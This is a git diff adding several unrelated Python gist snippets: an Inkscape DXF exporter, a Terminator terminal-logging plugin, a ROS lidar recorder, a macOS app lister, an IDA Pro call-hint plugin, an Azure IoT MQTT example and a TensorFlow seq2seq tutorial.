+                cspsubdiv.cspsubdiv(p, self.flatness)
+                is_flat = 1
+            except:
+                f += 0.1
+
+        for sub in p:
+            for i in range(len(sub)-1):
+                self.handle += 1
+                s = sub[i]
+                e = sub[i+1]
+                self.dxf_line(layer,[s[1],e[1]])
+
+    def dxf_path_to_point(self,layer,p):
+        bbox = simpletransform.roughBBox(p)
+        x = (bbox[0] + bbox[1]) / 2
+        y = (bbox[2] + bbox[3]) / 2
+        self.dxf_point(layer,x,y)
+
+    def effect(self):
+        self.dxf_insert_code( '999', 'Inkscape export via "Better Better DXF Output" (http://tim.cexx.org/?p=590)' )
+        self.dxf_add( dxf_templates_b2.r14_header )
+
+        scale = 25.4/90.0
+        h = self.unittouu(self.document.getroot().xpath('@height',namespaces=inkex.NSS)[0])
+
+        path = '//svg:path'
+
+        # run thru entire document gathering a list of layers to generate a proper DXF LAYER table. There is probably a better way to do this.
+        layers=[];
+        for node in self.document.getroot().xpath(path, namespaces=inkex.NSS):
+
+            layer = node.getparent().get(inkex.addNS('label','inkscape'))
+            if layer == None:
+                layer = 'Default'
+
+            if not layer in layers:
+                layers.append(layer)
+
+        self.dxf_insert_code('0', 'TABLE')
+        self.dxf_insert_code('2', 'LAYER')
+        self.dxf_insert_code('5', '2')
+        self.dxf_insert_code('330', '0')
+        self.dxf_insert_code('100', 'AcDbSymbolTable')
+        # group code 70 tells a reader how many table records to expect (e.g. pre-allocate memory for).
+        # It must be greater or equal to the actual number of records
+        self.dxf_insert_code('70',str(len(layers)))
+
+        for layer in layers:
+             self.dxf_insert_code('0', 'LAYER')
+             self.dxf_insert_code('5', '10')
+             self.dxf_insert_code('330', '2')
+             self.dxf_insert_code('100', 'AcDbSymbolTableRecord')
+             self.dxf_insert_code('100', 'AcDbLayerTableRecord')
+             self.dxf_insert_code('2', layer)
+             self.dxf_insert_code('70', '0')
+             self.dxf_insert_code('62', '7')
+             self.dxf_insert_code('6', 'CONTINUOUS')
+
+        self.dxf_insert_code('0','ENDTAB')
+        self.dxf_insert_code('0','ENDSEC')
+        self.dxf_add( dxf_templates_b2.r14_blocks )
+
+
+        # Generate actual geometry...
+        for node in self.document.getroot().xpath(path,namespaces=inkex.NSS):
+
+            layer = node.getparent().get(inkex.addNS('label','inkscape'))
+            if layer == None:
+                layer = 'Default' # Layer 1
+
+            d = node.get('d')
+            p = cubicsuperpath.parsePath(d)
+
+            t = node.get('transform')
+            if t != None:
+                m = simpletransform.parseTransform(t)
+                simpletransform.applyTransformToPath(m,p)
+
+            m = [[scale,0,0],[0,-scale,h*scale]]
+            simpletransform.applyTransformToPath(m,p)
+
+            if re.search('drill$',layer,re.I) == None:
+            #if layer == 'Brackets Drill':
+                self.dxf_path_to_lines(layer,p)
+            else:
+                self.dxf_path_to_point(layer,p)
+
+        self.dxf_add( dxf_templates_b2.r14_footer )
+
+e = MyEffect()
+e.affect()
+
diff --git a/hard-gists/eea5bb9ea6a73a398c44/._snippet.py b/hard-gists/eea5bb9ea6a73a398c44/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/eea5bb9ea6a73a398c44/._snippet.py differ
diff --git a/hard-gists/eea5bb9ea6a73a398c44/snippet.py b/hard-gists/eea5bb9ea6a73a398c44/snippet.py
new file mode 100644
index 00000000..9d00b896
--- /dev/null
+++ b/hard-gists/eea5bb9ea6a73a398c44/snippet.py
@@ -0,0 +1,122 @@
+#!/usr/bin/python
+
+# Plugin by Sinan Nalkaya <sardok@gmail.com>
+# See LICENSE of Terminator package.
+
+""" logger.py - Terminator Plugin to log 'content' of individual
+terminals """
+
+import os
+import sys
+import time
+import gtk
+import time
+import datetime
+import terminatorlib.plugin as plugin
+from terminatorlib.translation import _
+
+AVAILABLE = ['MyLogger']
+
+class MyLogger(plugin.MenuItem):
+    """ Add custom command to the terminal menu"""
+    capabilities = ['terminal_menu']
+    loggers = None
+    dialog_action = gtk.FILE_CHOOSER_ACTION_SAVE
+    dialog_buttons = (gtk.STOCK_CANCEL, gtk.RESPONSE_CANCEL,
+                      gtk.STOCK_SAVE, gtk.RESPONSE_OK)
+
+    def __init__(self):
+        plugin.MenuItem.__init__(self)
+        if not self.loggers:
+            self.loggers = {}
+
+    def callback(self, menuitems, menu, terminal):
+        """ Add save menu item to the menu"""
+        vte_terminal = terminal.get_vte()
+        if not self.loggers.has_key(vte_terminal):
+            item = gtk.MenuItem(_('Start Logger'))
+            item.connect("activate", self.start_logger, terminal)
+        else:
+            item = gtk.MenuItem(_('Stop Logger'))
+            item.connect("activate", self.stop_logger, terminal)
+            item.set_has_tooltip(True)
+            item.set_tooltip_text("Saving at '" + self.loggers[vte_terminal]["filepath"] + "'")
+        menuitems.append(item)
+        
+    def write_content(self, terminal, row_start, col_start, row_end, col_end):
+        """ Final function to write a file """
+        content = terminal.get_text_range(row_start, col_start, row_end, col_end,
+                                          lambda *a: True)
+        # Insert current time to the beginning of a new line
+        now = datetime.datetime.now().strftime("[%d-%H:%M] ")
+        fd = self.loggers[terminal]["fd"]
+        # Don't write the last char which is always '\n'
+        # fd.write(content[:-1])
+        
+        lines = content.splitlines(True)
+        for i in range(0, len(lines)):
+			if ((i == 0) and (col_start != 0)):
+				continue
+			lines[i] = now + lines[i]
+			fd.write(lines[i])
+        self.loggers[terminal]["col"] = col_end
+        self.loggers[terminal]["row"] = row_end
+
+    def save(self, terminal):
+        """ 'contents-changed' callback """
+        last_saved_col = self.loggers[terminal]["col"]
+        last_saved_row = self.loggers[terminal]["row"]
+        (col, row) = terminal.get_cursor_position()
+        # Save only when buffer is nearly full,
+        # for the sake of efficiency
+        if row - last_saved_row < terminal.get_row_count():
+            return
+        self.write_content(terminal, last_saved_row, last_saved_col, row, col)
+        
+    def start_logger(self, _widget, Terminal):
+        """ Handle menu item callback by saving text to a file"""
+        savedialog = gtk.FileChooserDialog(title="Save Log File As",
+                                           action=self.dialog_action,
+                                           buttons=self.dialog_buttons)
+        savedialog.set_do_overwrite_confirmation(True) 
+        savedialog.set_local_only(True)
+        savedialog.show_all()
+        savedialog.set_current_folder(os.path.expanduser("~") + "/log")
+        savedialog.set_current_name(time.strftime("%Y%m%d-%H%M%S") + ".log")
+        response = savedialog.run()
+        if response == gtk.RESPONSE_OK:
+            try:
+                logfile = os.path.join(savedialog.get_current_folder(),
+                                       savedialog.get_filename())
+                fd = open(logfile, 'w+')
+                # Save log file path, 
+                # associated file descriptor, signal handler id
+                # and last saved col,row positions respectively.
+                vte_terminal = Terminal.get_vte()
+                (col, row) = vte_terminal.get_cursor_position()
+
+                self.loggers[vte_terminal] = {"filepath":logfile,
+                                              "handler_id":0, "fd":fd,
+                                              "col":col, "row":row}
+                # Add contents-changed callback
+                self.loggers[vte_terminal]["handler_id"] = vte_terminal.connect('contents-changed', self.save)
+            except:
+                e = sys.exc_info()[1]
+                error = gtk.MessageDialog(None, gtk.DIALOG_MODAL, gtk.MESSAGE_ERROR,
+                                          gtk.BUTTONS_OK, e.strerror)
+                error.run()
+                error.destroy()
+        savedialog.destroy()
+
+    def stop_logger(self, _widget, terminal):
+        vte_terminal = terminal.get_vte()
+        last_saved_col = self.loggers[vte_terminal]["col"]
+        last_saved_row = self.loggers[vte_terminal]["row"]
+        (col, row) = vte_terminal.get_cursor_position()
+        if last_saved_col != col or last_saved_row != row:
+            # Save unwritten bufer to the file
+            self.write_content(vte_terminal, last_saved_row, last_saved_col, row, col)
+        fd = self.loggers[vte_terminal]["fd"]
+        fd.close()
+        vte_terminal.disconnect(self.loggers[vte_terminal]["handler_id"])
+        del(self.loggers[vte_terminal])
diff --git a/hard-gists/eeb156dc7b4caca69f5b31037da54708/._snippet.py b/hard-gists/eeb156dc7b4caca69f5b31037da54708/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/eeb156dc7b4caca69f5b31037da54708/._snippet.py differ
diff --git a/hard-gists/eeb156dc7b4caca69f5b31037da54708/snippet.py b/hard-gists/eeb156dc7b4caca69f5b31037da54708/snippet.py
new file mode 100644
index 00000000..0efb8a82
--- /dev/null
+++ b/hard-gists/eeb156dc7b4caca69f5b31037da54708/snippet.py
@@ -0,0 +1,122 @@
+## https://gist.github.com/pierriko/fd49abfa2fb3561f9c89
+## https://github.com/omgteam/Didi-competition-solution
+## https://discussions.udacity.com/t/processing-velodyne-data-for-dataset-2/237084/7
+
+#  attach process: https://www.jetbrains.com/help/pycharm/2016.3/attaching-to-local-process.html
+
+import sys
+##sys.path.insert(0,'/opt/ros/kinetic/lib/python2.7/dist-packages')
+##sys.path.insert(0,'/usr/lib/python2.7/dist-packages')  ## rospkg
+
+import os
+#os.system('source /opt/ros/kinetic/setup.bash')
+
+import numpy as np
+import rospy
+from sensor_msgs.msg import PointCloud2, PointField
+
+#---------------------------------------------------------------------------------------------------------
+
+# PointCloud2 to array
+# 		https://gist.github.com/dlaz/11435820
+#       https://github.com/pirobot/ros-by-example/blob/master/rbx_vol_1/rbx1_apps/src/point_cloud2.py
+#       http://answers.ros.org/question/202787/using-pointcloud2-data-getting-xy-points-in-python/
+#       https://github.com/eric-wieser/ros_numpy/blob/master/src/ros_numpy/point_cloud2.py
+
+
+
+# https://github.com/eric-wieser/ros_numpy #############################################################################################
+
+DUMMY_FIELD_PREFIX = '__'
+
+# mappings between PointField types and numpy types
+type_mappings = [(PointField.INT8, np.dtype('int8')), (PointField.UINT8, np.dtype('uint8')), (PointField.INT16, np.dtype('int16')),
+                 (PointField.UINT16, np.dtype('uint16')), (PointField.INT32, np.dtype('int32')), (PointField.UINT32, np.dtype('uint32')),
+                 (PointField.FLOAT32, np.dtype('float32')), (PointField.FLOAT64, np.dtype('float64'))]
+
+pftype_to_nptype = dict(type_mappings)
+nptype_to_pftype = dict((nptype, pftype) for pftype, nptype in type_mappings)
+
+# sizes (in bytes) of PointField types
+pftype_sizes = {PointField.INT8: 1, PointField.UINT8: 1, PointField.INT16: 2, PointField.UINT16: 2,
+                PointField.INT32: 4, PointField.UINT32: 4, PointField.FLOAT32: 4, PointField.FLOAT64: 8}
+
+
+
+def fields_to_dtype(fields, point_step):
+    '''
+    Convert a list of PointFields to a numpy record datatype.
+    '''
+    offset = 0
+    np_dtype_list = []
+    for f in fields:
+        while offset < f.offset:
+            # might be extra padding between fields
+            np_dtype_list.append(('%s%d' % (DUMMY_FIELD_PREFIX, offset), np.uint8))
+            offset += 1
+
+        dtype = pftype_to_nptype[f.datatype]
+        if f.count != 1:
+            dtype = np.dtype((dtype, f.count))
+
+        np_dtype_list.append((f.name, dtype))
+        offset += pftype_sizes[f.datatype] * f.count
+
+    # might be extra padding between points
+    while offset < point_step:
+        np_dtype_list.append(('%s%d' % (DUMMY_FIELD_PREFIX, offset), np.uint8))
+        offset += 1
+
+    return np_dtype_list
+
+
+
+
+def msg_to_arr(msg):
+
+    dtype_list = fields_to_dtype(msg.fields, msg.point_step)
+    arr = np.fromstring(msg.data, dtype_list)
+
+    # remove the dummy fields that were added
+    arr = arr[[fname for fname, _type in dtype_list if not (fname[:len(DUMMY_FIELD_PREFIX)] == DUMMY_FIELD_PREFIX)]]
+
+    if msg.height == 1:
+        return np.reshape(arr, (msg.width,))
+    else:
+        return np.reshape(arr, (msg.height, msg.width))
+
+##################################################################################################################################
+
+lidar_dir = '/root/share/project/didi/data/didi/didi-2/Data/1/15/lidar'
+##lidar_dir = '/root/share/project/didi/data/didi/didi-2/Out/Round_1_Test/19_f2/lidar'
+
+def callback(msg):
+
+    timestamp = msg.header.stamp.to_nsec()
+
+
+    print('callback: msg : seq=%d, timestamp=%19d'%(
+        msg.header.seq, timestamp
+    ))
+    arr= msg_to_arr(msg)
+    file=lidar_dir+'/%19d.npy'%(
+        timestamp
+    )
+    np.save(file,arr)
+
+    #dd=0
+    pass
+
+
+
+if __name__=='__main__':
+    print( '%s: calling main function ... ' % os.path.basename(__file__))
+
+    if not os.path.exists(lidar_dir):
+        os.makedirs(lidar_dir)
+
+    rospy.init_node('velodyne_subscriber')
+    velodyne_subscriber = rospy.Subscriber('/velodyne_points', PointCloud2, callback)
+    rospy.spin()
+
+    print( 'success' )
\ No newline at end of file
diff --git a/hard-gists/eebc4d569100c8e3039bf3eae56bee4c/._snippet.py b/hard-gists/eebc4d569100c8e3039bf3eae56bee4c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/eebc4d569100c8e3039bf3eae56bee4c/._snippet.py differ
diff --git a/hard-gists/eebc4d569100c8e3039bf3eae56bee4c/snippet.py b/hard-gists/eebc4d569100c8e3039bf3eae56bee4c/snippet.py
new file mode 100644
index 00000000..091643e9
--- /dev/null
+++ b/hard-gists/eebc4d569100c8e3039bf3eae56bee4c/snippet.py
@@ -0,0 +1,22 @@
+from Foundation import NSBundle
+import objc
+CoreServices = NSBundle.bundleWithIdentifier_('com.apple.CoreServices')     
+
+functions = [
+             ('_LSCopyRunningApplicationArray', '@I'),
+             ('_LSCopyApplicationInformation', '@I@@'),
+            ]
+
+constants = [
+             ('_kLSApplicationTypeKey', '@'),
+             ('_kLSApplicationForegroundTypeKey', '@'),
+             ('_kLSDisplayNameKey', '@')
+            ]
+
+objc.loadBundleFunctions(CoreServices, globals(), functions)
+objc.loadBundleVariables(CoreServices, globals(), constants)
+
+apps = _LSCopyRunningApplicationArray(0xfffffffe)
+app_infos = [_LSCopyApplicationInformation(0xffffffff, x, None) for x in apps]
+visible_app_infos = [x for x in app_infos if x.get(_kLSApplicationTypeKey, None) == _kLSApplicationForegroundTypeKey]
+visible_apps = sorted([x.get(_kLSDisplayNameKey) for x in visible_app_infos])
\ No newline at end of file
diff --git a/hard-gists/eeea2093888e8d4004ec06b5a1dede1e/._snippet.py b/hard-gists/eeea2093888e8d4004ec06b5a1dede1e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/eeea2093888e8d4004ec06b5a1dede1e/._snippet.py differ
diff --git a/hard-gists/eeea2093888e8d4004ec06b5a1dede1e/snippet.py b/hard-gists/eeea2093888e8d4004ec06b5a1dede1e/snippet.py
new file mode 100644
index 00000000..93b136bb
--- /dev/null
+++ b/hard-gists/eeea2093888e8d4004ec06b5a1dede1e/snippet.py
@@ -0,0 +1,444 @@
+'''
+IDA plugin to display the calls and strings referenced by a function as hints.
+
+Installation: put this file in your %IDADIR%/plugins/ directory.
+Author: Willi Ballenthin <william.ballenthin@fireeye.com>
+Licence: Apache 2.0
+'''
+import idc
+import idaapi
+import idautils
+
+
+###############################################################################
+#### begin: idapython_lex_curline
+# via: https://gist.github.com/williballenthin/466eb28679d30e212ffac57e4a9ceaa5
+# note: inline here for simplicity
+
+
+# inverse mapping of color value to name.
+# ref: https://www.hex-rays.com/products/ida/support/sdkdoc/group___s_c_o_l_o_r__.html#ga6052470f86411b8b5ffdf4af4bbee225
+INV_COLORS = {
+    0x1: 'COLOR_DEFAULT',  #= 0x01,         // Default
+    0x2: 'COLOR_REGCMT',   #= 0x02,         // Regular comment
+    0x3: 'COLOR_RPTCMT',   #= 0x03,         // Repeatable comment (comment defined somewhere else)
+    0x4: 'COLOR_AUTOCMT',  #= 0x04,         // Automatic comment
+    0x5: 'COLOR_INSN',     #= 0x05,         // Instruction
+    0x6: 'COLOR_DATNAME',  #= 0x06,         // Dummy Data Name
+    0x7: 'COLOR_DNAME',    #= 0x07,         // Regular Data Name
+    0x8: 'COLOR_DEMNAME',  #= 0x08,         // Demangled Name
+    0x9: 'COLOR_SYMBOL',   #= 0x09,         // Punctuation
+    0xa: 'COLOR_CHAR',     #= 0x0A,         // Char constant in instruction
+    0xb: 'COLOR_STRING',   #= 0x0B,         // String constant in instruction
+    0xc: 'COLOR_NUMBER',   #= 0x0C,         // Numeric constant in instruction
+    0xd: 'COLOR_VOIDOP',   #= 0x0D,         // Void operand
+    0xe: 'COLOR_CREF',     #= 0x0E,         // Code reference
+    0xf: 'COLOR_DREF',     #= 0x0F,         // Data reference
+    0x10: 'COLOR_CREFTAIL', #= 0x10,         // Code reference to tail byte
+    0x11: 'COLOR_DREFTAIL', #= 0x11,         // Data reference to tail byte
+    0x12: 'COLOR_ERROR',    #= 0x12,         // Error or problem
+    0x13: 'COLOR_PREFIX',   #= 0x13,         // Line prefix
+    0x14: 'COLOR_BINPREF',  #= 0x14,         // Binary line prefix bytes
+    0x15: 'COLOR_EXTRA',    #= 0x15,         // Extra line
+    0x16: 'COLOR_ALTOP',    #= 0x16,         // Alternative operand
+    0x17: 'COLOR_HIDNAME',  #= 0x17,         // Hidden name
+    0x18: 'COLOR_LIBNAME',  #= 0x18,         // Library function name
+    0x19: 'COLOR_LOCNAME',  #= 0x19,         // Local variable name
+    0x1A: 'COLOR_CODNAME',  #= 0x1A,         // Dummy code name
+    0x1B: 'COLOR_ASMDIR',   #= 0x1B,         // Assembler directive
+    0x1C: 'COLOR_MACRO',    #= 0x1C,         // Macro
+    0x1D: 'COLOR_DSTR',     #= 0x1D,         // String constant in data directive
+    0x1E: 'COLOR_DCHAR',    #= 0x1E,         // Char constant in data directive
+    0x1F: 'COLOR_DNUM',     #= 0x1F,         // Numeric constant in data directive
+    0x20: 'COLOR_KEYWORD',  #= 0x20,         // Keywords
+    0x21: 'COLOR_REG',      #= 0x21,         // Register name
+    0x22: 'COLOR_IMPNAME',  #= 0x22,         // Imported name
+    0x23: 'COLOR_SEGNAME',  #= 0x23,         // Segment name
+    0x24: 'COLOR_UNKNAME',  #= 0x24,         // Dummy unknown name
+    0x25: 'COLOR_CNAME',    #= 0x25,         // Regular code name
+    0x26: 'COLOR_UNAME',    #= 0x26,         // Regular unknown name
+    0x27: 'COLOR_COLLAPSED',#= 0x27,         // Collapsed line
+
+    #  // Fictive colors
+    0x28: 'COLOR_ADDR',     #= 0x28, // hidden address marks
+                            #        // The address is represented as 8digit
+                            #        // hex number: 01234567
+                            #        // It doesn't have COLOR_OFF pair
+                            #        // NB: for 64-bit IDA, the address is 16digit
+
+    0x29: 'COLOR_OPND1',    #= COLOR_ADDR+1, // Instruction operand 1
+    0x2A: 'COLOR_OPND2',    #= COLOR_ADDR+2, // Instruction operand 2
+    0x2B: 'COLOR_OPND3',    #= COLOR_ADDR+3, // Instruction operand 3
+    0x2C: 'COLOR_OPND4',    #= COLOR_ADDR+4, // Instruction operand 4
+    0x2D: 'COLOR_OPND5',    #= COLOR_ADDR+5, // Instruction operand 5
+    0x2E: 'COLOR_OPND6',    #= COLOR_ADDR+6, // Instruction operand 6
+
+    0x32: 'COLOR_UTF8',     #= COLOR_ADDR+10;// Following text is UTF-8 encoded
+}
+
+
+class Symbol(object):
+    def __init__(self, type):
+        super(Symbol, self).__init__()
+        self.type = type
+
+    def __str__(self):
+        raise NotImplementedError()
+
+
+class StringSymbol(Symbol):
+    def __init__(self, string):
+        super(StringSymbol, self).__init__('string')
+        self.string = string
+
+    def __str__(self):
+        return 'STRING=' + self.string
+
+
+class ColorOnSymbol(Symbol):
+    def __init__(self, color):
+        super(ColorOnSymbol, self).__init__('coloron')
+        self.color = ord(color)
+
+    def __str__(self):
+        return 'COLORON=' + INV_COLORS[self.color]
+
+
+class ColorOffSymbol(Symbol):
+    def __init__(self, color):
+        super(ColorOffSymbol, self).__init__('coloroff')
+        self.color = ord(color)
+
+    def __str__(self):
+        return 'COLOROFF=' + INV_COLORS[self.color]
+
+
+class ColorInvSymbol(Symbol):
+    def __init__(self):
+        super(ColorInvSymbol, self).__init__('colorinv')
+
+    def __str__(self):
+        return 'COLORINV'
+
+
+
+def lex(curline):
+    '''
+    split the line returned by `get_custom_viewer_curline` into symbols.
+    it pulls out the strings, color directives, and escaped characters.
+    
+    Args:
+      curline (str): a line returned by `idaapi.get_custom_viewer_curline`
+    
+    Returns:
+      generator: generator of Symbol subclass instances
+    '''
+
+    offset = 0
+    cur_word = []
+    while offset < len(curline):
+
+        c = curline[offset]
+
+        if c == idaapi.COLOR_ON:
+            if cur_word:
+                yield StringSymbol(''.join(cur_word))
+                cur_word = []
+
+            offset += 1
+            color = curline[offset]
+
+            yield ColorOnSymbol(color)
+            offset += 1
+
+        elif c == idaapi.COLOR_OFF:
+            if cur_word:
+                yield StringSymbol(''.join(cur_word))
+                cur_word = []
+
+            offset += 1
+            color = curline[offset]
+
+            yield ColorOffSymbol(color)
+            offset += 1
+
+        elif c == idaapi.COLOR_ESC:
+            if cur_word:
+                yield StringSymbol(''.join(cur_word))
+                cur_word = []
+
+            offset += 1
+            c = curline[offset]
+
+            cur_word.append(c)
+            offset += 1
+
+        elif c == idaapi.COLOR_INV:
+            if cur_word:
+                yield StringSymbol(''.join(cur_word))
+                cur_word = []
+
+            yield ColorInvSymbol()
+            offset += 1
+
+        else:
+            cur_word.append(c)
+            offset += 1
+
+
+def get_color_at_char(curline, index):
+    curlen = 0
+    curcolor = 0
+    for sym in lex(curline):
+        if sym.type == 'string':
+            curlen += len(sym.string)
+            if curlen >= index:
+                return curcolor
+        elif sym.type == 'coloron':
+            curcolor = sym.color
+        elif sym.type == 'coloroff':
+            curcolor = 0
+        else:
+            curcolor = 0
+
+    return curcolor
+
+
+def get_token_at_char(curline, index):
+    curlen = 0
+    curcolor = 0
+    for sym in lex(curline):
+        if sym.type == 'string':
+            curlen += len(sym.string)
+            if curlen >= index:
+                return sym.string
+        else:
+            continue
+
+    return ''
+
+
+#### end: idapython_lex_curline
+###############################################################################
+
+
+
+def enum_function_addrs(fva):
+    '''
+    yield the effective addresses of each instruction in the given function.
+    these addresses are not guaranteed to be in any order.
+    
+    Args:
+      fva (int): the starting address of a function
+    
+    Returns:
+      sequence[int]: the addresses of each instruction
+    '''
+    f = idaapi.get_func(fva)
+    if not f:
+        raise ValueError('not a function')
+
+    for block in idaapi.FlowChart(f):
+        ea = block.startEA
+        while ea <= block.endEA:
+            yield ea
+            ea = idc.NextHead(ea)
+
+
+def enum_calls_in_function(fva):
+    '''
+    yield the call instructions in the given function.
+    
+    Args:
+      fva (int): the starting address of a function
+    
+    Returns:
+      sequence[tuple[int, str]]: the address of a call instruction, and the disassembly line at that address
+    '''
+    for ea in enum_function_addrs(fva):
+        if idc.GetMnem(ea) != 'call':
+            continue
+
+        disasm = idc.GetDisasm(ea)
+
+        yield ea, disasm
+
+
+def enum_string_refs_in_function(fva):
+    '''
+    yield the string references in the given function.
+    
+    Args:
+      fva (int): the starting address of a function
+    
+    Returns:
+      sequence[tuple[int, int, str]]: tuples of metadata, including:
+       - the address of the instruction referencing a string
+       - the address of the string
+       - the string
+    '''
+    for ea in enum_function_addrs(fva):
+        for ref in idautils.DataRefsFrom(ea):
+            stype = idc.GetStringType(ref)
+            if stype < 0 or stype > 7:
+                continue
+
+            CALC_MAX_LEN = -1
+            s = str(idc.GetString(ref, CALC_MAX_LEN, stype))
+
+            yield ea, ref, s
+
+
+def uniq(s):
+    '''
+    yield the unique items in the given sequence.
+    only provide the first copy encountered, skipping subsequent copies.
+    
+    Args:
+      s (sequence[T]): a sequence of things
+
+    Returns:
+      sequence[T]: a sequence of the unique copies
+    '''
+    seen = set([])
+
+    for item in s:
+        if item in seen:
+            continue
+
+        yield item
+
+        seen.add(item)
+
+
+def render_function_hint(fva):
+    '''
+    create a textual report for the call and string references in the given function.
+    
+    eg.
+
+        3 calls, 4 strings
+
+        calls:
+          - call     new
+          - call     gethostbyname
+          - call     delete
+    
+        strings:
+          - www.google.com
+          - www.bing.com
+          - www.yahoo.com
+          - www.cnn.com
+    
+    Args:
+      fva (int): the starting address of a function
+
+    Returns:
+      str: the report
+    '''
+    ret = []
+
+    # use `uniq` here (vs using a set) cause we want to maintain *some* semblance of order.
+    calls = list(uniq(d for f, d in enum_calls_in_function(fva)))
+    strings = list(uniq(s for o, r, s in enum_string_refs_in_function(fva)))
+
+    # this would be a good place to use Jinja2 templating,
+    #  but lets not require that external dependency
+    ret.append('%d calls, %s strings' % (len(calls), len(strings)))
+
+    ret.append('')
+    ret.append('calls:')
+    for call in calls:
+        ret.append('  - ' + call)
+    if not calls:
+        ret.append('  (none)')
+
+    ret.append('')
+    ret.append('strings:')
+    for string in strings:
+        ret.append('  - ' + string)
+    if not strings:
+        ret.append('  (none)')
+
+    return str('\n'.join(ret))
+
+
+class CallsHintsHook(idaapi.UI_Hooks):
+    def get_custom_viewer_hint(self, view, place):
+        try:
+            tform = idaapi.get_current_tform()
+            if idaapi.get_tform_type(tform) != idaapi.BWN_DISASM:
+                return None
+
+            curline = idaapi.get_custom_viewer_curline(view, True)
+            _, x, y = idaapi.get_custom_viewer_place(view, True)
+            ea = place.toea()
+
+            # "color" is a bit of misnomer: its the type of the symbol currently hinted
+            color = get_color_at_char(curline, x)
+            if color != idaapi.COLOR_ADDR:
+                return None
+
+            # for COLOR_ADDR tokens, we get something like:
+            #   401000sub_401000
+            # so we will need to prune the address from the start before we can use it :-(
+            token = get_token_at_char(curline, x)
+
+            # enumerate the operands of the instruction at this address
+            # and search the token for the operand text
+            func_name = None
+            for i in range(3):
+                o = idc.GetOpnd(ea, i)
+                if not o:
+                    break
+
+                # if we have `offset sub_401000`, we want: `sub_401000`
+                if ' ' in o:
+                    o = o.partition(' ')[2]
+
+                if o in token:
+                    func_name = o
+                    break
+
+            if not func_name:
+                return None
+
+            # get the address given the function name
+            fva = idc.LocByName(func_name)
+            if not fva:
+                return None
+
+            # ensure its actually a function
+            if not idaapi.get_func(fva):
+                return None
+
+            # this magic constant "1" is the number of "important lines" to display by default.
+            # the remaining lines get shown if you scroll down while the hint is displayed, revealing more lines.
+            return render_function_hint(fva), 1
+        except Exception as e:
+            print('CallsHintsPlugin: error: %s. Get in touch with @williballenthin.' % (str(e)))
+            return None
+
+
+class CallsHintsPlugin(idaapi.plugin_t):
+    flags = idaapi.PLUGIN_KEEP
+    comment = 'Display the calls and strings referenced by a function as hints.'
+    help = 'Display the calls and strings referenced by a function as hints.'
+    wanted_name = "CallsHintsPlugin"
+    wanted_hotkey = "Ctrl-'"
+
+    def init(self):
+        self.hooks = CallsHintsHook()
+        return idaapi.PLUGIN_OK
+
+    def run(self, arg):
+        print('CallsHintsPlugin: run')
+        self.hooks.hook()
+
+    def term(self):
+        print('CallsHintsPlugin: term')
+        self.hooks.unhook()
+
+
+def PLUGIN_ENTRY():
+    return CallsHintsPlugin()
diff --git a/hard-gists/eef8c9bfb4434787672c303153eee500/._snippet.py b/hard-gists/eef8c9bfb4434787672c303153eee500/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/eef8c9bfb4434787672c303153eee500/._snippet.py differ
diff --git a/hard-gists/eef8c9bfb4434787672c303153eee500/snippet.py b/hard-gists/eef8c9bfb4434787672c303153eee500/snippet.py
new file mode 100644
index 00000000..70c6ae52
--- /dev/null
+++ b/hard-gists/eef8c9bfb4434787672c303153eee500/snippet.py
@@ -0,0 +1,24 @@
+#!/usr/bin/python
+
+import paho.mqtt.publish as publish
+import paho.mqtt.client as mqtt
+import ssl
+
+auth = {
+  'username':"ciscohackhub.azure-devices.net/lora1",
+  'password':"SharedAccessSignature sr=ciscohackhub.azure-devices.net%2Fdevices%2Flora1&sig=xxxx&se=1463048772"
+}
+
+tls = {
+  'ca_certs':"/etc/ssl/certs/ca-certificates.crt",
+  'tls_version':ssl.PROTOCOL_TLSv1
+}
+
+publish.single("devices/lora1/messages/events/",
+  payload="hello world",
+  hostname="ciscohackhub.azure-devices.net",
+  client_id="lora1",
+  auth=auth,
+  tls=tls,
+  port=8883,
+  protocol=mqtt.MQTTv311)
diff --git a/hard-gists/eeff174666cce8ca67ae73d44d93054a/._snippet.py b/hard-gists/eeff174666cce8ca67ae73d44d93054a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/eeff174666cce8ca67ae73d44d93054a/._snippet.py differ
diff --git a/hard-gists/eeff174666cce8ca67ae73d44d93054a/snippet.py b/hard-gists/eeff174666cce8ca67ae73d44d93054a/snippet.py
new file mode 100644
index 00000000..9110307c
--- /dev/null
+++ b/hard-gists/eeff174666cce8ca67ae73d44d93054a/snippet.py
@@ -0,0 +1,219 @@
+# Code for https://www.data-blogger.com/2017/12/14/create-a-character-based-seq2seq-using-python-and-tensorflow/
+
+# Imports
+import tensorflow as tf
+import pandas as pd
+from nltk import word_tokenize
+from collections import Counter
+import numpy as np
+
+# Load the data
+with open('hamlet.txt', 'r') as input_file:
+    words_raw = input_file.read()
+    
+# Load the words
+words = word_tokenize(words_raw)
+words = [word.lower() for word in words]
+chars = list(' '.join(words))
+char_counts = Counter(chars)
+
+# Add a PAD token (to fill up empty spaces), EOW token (for signaling the End-Of-Word) and UNK token (for unknown characters)
+# Also use the 100 most frequent characters
+vocab = ['PAD', 'EOW', 'UNK'] + [char for char, count in char_counts.most_common(100)]
+vocab = {char: i for i, char in enumerate(vocab)}
+vocab_size = len(vocab)
+
+# Configuration
+input_embedding_size = 20
+encoder_hidden_units = 16
+
+# Create the graph
+tf.reset_default_graph()
+
+# Create the encoder and decoder
+encoder_inputs = tf.placeholder(shape=[None, None], dtype=tf.int32, name='encoder_inputs')
+encoder_inputs_length = tf.placeholder(shape=[None,], dtype=tf.int32, name='encoder_input_length')
+decoder_targets = tf.placeholder(shape=[None, None], dtype=tf.int32, name='decoder_targets')
+embeddings = tf.Variable(tf.random_uniform([vocab_size, input_embedding_size], -1., 1.), dtype=tf.float32)
+encoder_inputs_embedded = tf.nn.embedding_lookup(embeddings, encoder_inputs)
+encoder_cell = tf.nn.rnn_cell.BasicLSTMCell(encoder_hidden_units)
